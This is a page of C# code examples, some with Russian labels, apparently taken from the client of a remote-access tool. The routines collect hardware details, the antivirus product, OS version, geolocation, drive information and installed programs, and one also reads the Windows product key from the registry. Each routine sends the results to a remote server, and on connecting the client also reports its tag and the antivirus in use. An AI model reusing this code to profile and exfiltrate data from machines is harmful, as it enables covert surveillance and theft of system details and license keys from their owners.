Пример #1
0
        //Gets computer information
        private void GetComputerInfo()
        {
            string        ListString       = "";
            List <string> ComputerInfoList = new List <string>();

            try
            {
                ComputerInfo.GetGeoInfo();
            }
            catch { }

            ComputerInfoList.Add("Computer Name: " + ComputerInfo.GetName());
            ComputerInfoList.Add("Computer CPU: " + ComputerInfo.GetCPU());
            ComputerInfoList.Add("Computer GPU: " + ComputerInfo.GetGPU());
            ComputerInfoList.Add("Computer Ram Amount (MB): " + ComputerInfo.GetRamAmount());
            ComputerInfoList.Add("Computer Antivirus: " + ComputerInfo.GetAntivirus());
            ComputerInfoList.Add("Computer OS: " + ComputerInfo.GetWindowsVersion());
            ComputerInfoList.Add("Country: " + ComputerInfo.GeoInfo.Country);
            ComputerInfoList.Add("Region Name: " + ComputerInfo.GeoInfo.RegionName);
            ComputerInfoList.Add("City: " + ComputerInfo.GeoInfo.City);
            foreach (string Info in ComputerInfoList.ToArray())
            {
                ListString += "," + Info;
            }
            List <byte> ToSend = new List <byte>();

            ToSend.Add((int)DataType.InformationType);
            ToSend.AddRange(Encoding.ASCII.GetBytes(ListString));
            Networking.MainClient.Send(ToSend.ToArray());
        }
        //Gets computer information
        private void GetComputerInfo()
        {
            string        ListString       = "";
            List <string> ComputerInfoList = new List <string>();

            try
            {
                ComputerInfo.GetGeoInfo();
            }
            catch { }

            ComputerInfoList.Add("Имя компьютера: " + ComputerInfo.GetName());
            ComputerInfoList.Add("ЦП: " + ComputerInfo.GetCPU());
            ComputerInfoList.Add("Видеокарта: " + ComputerInfo.GetGPU());
            ComputerInfoList.Add("Объём оперативной памяти (Мб): " + ComputerInfo.GetRamAmount());
            ComputerInfoList.Add("Антивирус: " + ComputerInfo.GetAntivirus());
            ComputerInfoList.Add("Операционная система: " + ComputerInfo.GetWindowsVersion());
            ComputerInfoList.Add("Страна: " + ComputerInfo.GetCountry());
            ComputerInfoList.Add("Регион: " + ComputerInfo.GetRegionName());
            ComputerInfoList.Add("Город: " + ComputerInfo.GetCity());
            foreach (string Info in ComputerInfoList.ToArray())
            {
                ListString += "," + Info;
            }
            List <byte> ToSend = new List <byte>();

            ToSend.Add((int)DataType.InformationType);
            ToSend.AddRange(Encoding.UTF8.GetBytes(ListString));
            Networking.MainClient.Send(ToSend.ToArray());
        }
Пример #3
0
        //Get data that has been sent to the server
        private void GetData()
        {
            Message Data;

            while (Networking.MainClient.GetNextMessage(out Data))
            {
                switch (Data.eventType)
                {
                case EventType.Connected:
                    Console.WriteLine("Connected");
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add((int)DataType.ClientTag);
                    ToSend.AddRange(Encoding.ASCII.GetBytes(ClientSettings.ClientTag));
                    Networking.MainClient.Send(ToSend.ToArray());
                    ToSend.Clear();
                    ToSend.Add((int)DataType.AntiVirusTag);
                    ToSend.AddRange(Encoding.ASCII.GetBytes(ComputerInfo.GetAntivirus()));
                    Networking.MainClient.Send(ToSend.ToArray());
                    string OperatingSystemUnDetailed = ComputerInfo.GetWindowsVersion()
                                                       .Remove(ComputerInfo.GetWindowsVersion().IndexOf('('));
                    ToSend.Clear();
                    ToSend.Add((int)DataType.WindowsVersionTag);
                    ToSend.AddRange(Encoding.ASCII.GetBytes(OperatingSystemUnDetailed));
                    Networking.MainClient.Send(ToSend.ToArray());
                    break;

                case EventType.Disconnected:
                    break;

                case EventType.Data:
                    HandleData(Data.data);
                    break;
                }
            }
        }
Пример #4
0
        //Gets computer information
        private void GetComputerInfo()
        {
            RegistryKey key;

            key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall");

            string        ListString       = "";
            List <string> ComputerInfoList = new List <string>();

            try
            {
                ComputerInfo.GetGeoInfo();
            }
            catch { }

            ComputerInfoList.Add("Computer Name: " + ComputerInfo.GetName());
            ComputerInfoList.Add("Computer CPU: " + ComputerInfo.GetCPU());
            ComputerInfoList.Add("Computer GPU: " + ComputerInfo.GetGPU());
            ComputerInfoList.Add("Computer Ram Amount (MB): " + ComputerInfo.GetRamAmount());
            ComputerInfoList.Add("Computer Antivirus: " + ComputerInfo.GetAntivirus());
            ComputerInfoList.Add("Computer OS: " + ComputerInfo.GetWindowsVersion());
            ComputerInfoList.Add("Ключ активации: " + ComputerInfo.GetWindowsProductKeyFromRegistry());
            ComputerInfoList.Add("Country: " + ComputerInfo.GeoInfo.Country);
            ComputerInfoList.Add("Region Name: " + ComputerInfo.GeoInfo.RegionName);
            ComputerInfoList.Add("City: " + ComputerInfo.GeoInfo.City);

            foreach (var drive in DriveInfo.GetDrives())
            {
                try
                {
                    ComputerInfoList.Add("Имя диска: " + drive.Name);
                    ComputerInfoList.Add("Файловая система: " + drive.DriveFormat);
                    ComputerInfoList.Add("Тип диска: " + drive.DriveType);
                    ComputerInfoList.Add("Объем доступного свободного места (в байтах): " + drive.AvailableFreeSpace);
                    ComputerInfoList.Add("Готов ли диск: " + drive.IsReady);
                    ComputerInfoList.Add("Корневой каталог диска: " + drive.RootDirectory);
                    ComputerInfoList.Add("Общий объем свободного места, доступного на диске (в байтах): " + drive.TotalFreeSpace);
                    ComputerInfoList.Add("Размер диска (в байтах): " + drive.TotalSize);
                    ComputerInfoList.Add("Метка тома диска: " + drive.VolumeLabel);
                }
                catch { }
            }
            ComputerInfoList.Add("Установленные программы:");
            string program = "";

            foreach (String keyName in key.GetSubKeyNames())
            {
                RegistryKey subkey = key.OpenSubKey(keyName);
                program = subkey.GetValue("DisplayName") as string;
                try
                {
                    if (program.Length != 0)
                    {
                        ComputerInfoList.Add(program);
                    }
                } catch { }
            }
            foreach (string Info in ComputerInfoList.ToArray())
            {
                ListString += "," + Info;
            }
            List <byte> ToSend = new List <byte>();

            ToSend.Add((int)DataType.InformationType);
            ToSend.AddRange(Encoding.UTF8.GetBytes(ListString));
            Networking.MainClient.Send(ToSend.ToArray());
        }